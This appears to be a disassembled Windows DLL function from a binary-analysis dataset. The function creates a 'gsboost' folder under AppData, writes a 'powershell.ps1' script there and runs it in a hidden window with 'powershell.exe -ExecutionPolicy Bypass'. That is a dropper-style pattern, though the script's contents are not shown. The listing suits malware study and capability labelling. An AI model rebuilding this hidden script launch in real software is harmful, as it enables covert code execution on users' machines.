Function at 0x10001220
Capabilities:
Create directory
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10003e4c
mov eax, dword fs:[0]
push eax
sub esp, 0x374
mov eax, dword [0x10007040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x218]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x100012de
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x368]
call fcn.10002200
push str.gsboost
mov edx, eax
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x230]
call fcn.100025b0
mov dword [ebp - 4], 0xffffffff
add esp, 4
mov ecx, dword [ebp - 0x354]
cmp ecx, 7
jbe 0x100012ee
mov edx, dword [ebp - 0x368]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x100012d2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x100012d2
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.10002eca
add esp, 8
jmp 0x100012ee
push 0x10005244
lea ecx, [ebp - 0x230]
call fcn.10002200
mov dword [ebp - 4], 1
lea eax, [ebp - 0x230]
cmp dword [ebp - 0x21c], 7
push 0
cmova eax, dword [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 0xb0
lea eax, [ebp - 0x2f8]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
mov ecx, dword [ebp - 0x220]
mov esi, 0x7ffffffe
mov eax, esi
add esp, 0xc
sub eax, ecx
cmp eax, 0xf
jb 0x10001608
cmp dword [ebp - 0x21c], 7
lea eax, [ebp - 0x230]
push 0xf
cmova eax, dword [ebp - 0x230]
push str.powershell.ps1
push ecx
push eax
push ecx
push dword [ebp - 0x350]
lea ecx, [ebp - 0x368]
call fcn.10002ce0
sub esp, 0xc
mov byte [ebp - 4], 2
lea eax, [ebp - 0x368]
lea ecx, [ebp - 0x2f8]
push eax
call fcn.10001ff0
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x354]
cmp ecx, 7
jbe 0x100013ce
mov edx, dword [ebp - 0x368]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x100013c4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x100013c4
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.10002eca
add esp, 8
xor eax, eax
mov dword [ebp - 0x358], 0
mov dword [ebp - 0x354], 7
mov word [ebp - 0x368], ax
cmp dword [ebp - 0x2a8], eax
je 0x100015a1
lea ecx, [ebp - 0x2f8]
call fcn.10002680
lea ecx, [ebp - 0x2f4]
call fcn.10002520
test eax, eax
jne 0x1000142a
mov eax, dword [ebp - 0x2f8]
lea ecx, [ebp - 0x2f8]
push 0
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::setstate_int__bool_]
mov ecx, dword [ebp - 0x220]
sub esi, ecx
cmp esi, 0x2e
jb 0x1000160d
cmp dword [ebp - 0x21c], 7
lea eax, [ebp - 0x230]
push ecx
cmova eax, dword [ebp - 0x230]
push eax
push 0x2e
push str.powershell.exe__ExecutionPolicy_Bypass__File__
push ecx
push dword [ebp - 0x350]
lea ecx, [ebp - 0x380]
call fcn.10002ce0
push str.powershell.ps1_
lea edx, [ebp - 0x380]
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x248]
call fcn.100025b0
mov ecx, dword [ebp - 0x36c]
add esp, 4
cmp ecx, 7
jbe 0x100014c9
mov edx, dword [ebp - 0x380]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x100014bf
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x100014bf
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.10002eca
add esp, 8
push 0x40
lea eax, [ebp - 0x338]
mov dword [ebp - 0x33c], 0x44
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x34c]
cmp dword [ebp - 0x234], 7
lea eax, [ebp - 0x248]
cmova eax, dword [ebp - 0x248]
push ecx
lea ecx, [ebp - 0x33c]
push ecx
push 0
push 0
push 0x8000000
push 0
push 0
push 0
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x10001548
push 0xffffffffffffffff
push dword [ebp - 0x34c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x34c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x348]
call esi
mov ecx, dword [ebp - 0x234]
cmp ecx, 7
jbe 0x10001584
mov edx, dword [ebp - 0x248]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x1000157a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100015de
push ecx
push edx
call fcn.10002eca
add esp, 8
xor eax, eax
mov dword [ebp - 0x238], 0
mov dword [ebp - 0x234], 7
mov word [ebp - 0x248], ax
lea ecx, [ebp - 0x2f8]
call fcn.10001620
mov ecx, dword [ebp - 0x21c]
cmp ecx, 7
jbe 0x100015ee
mov edx, dword [ebp - 0x230]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x100015e4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x100015e4
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.10002eca
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10002ebc
mov esp, ebp
pop ebp
ret
call fcn.10001170
call fcn.10001170
int3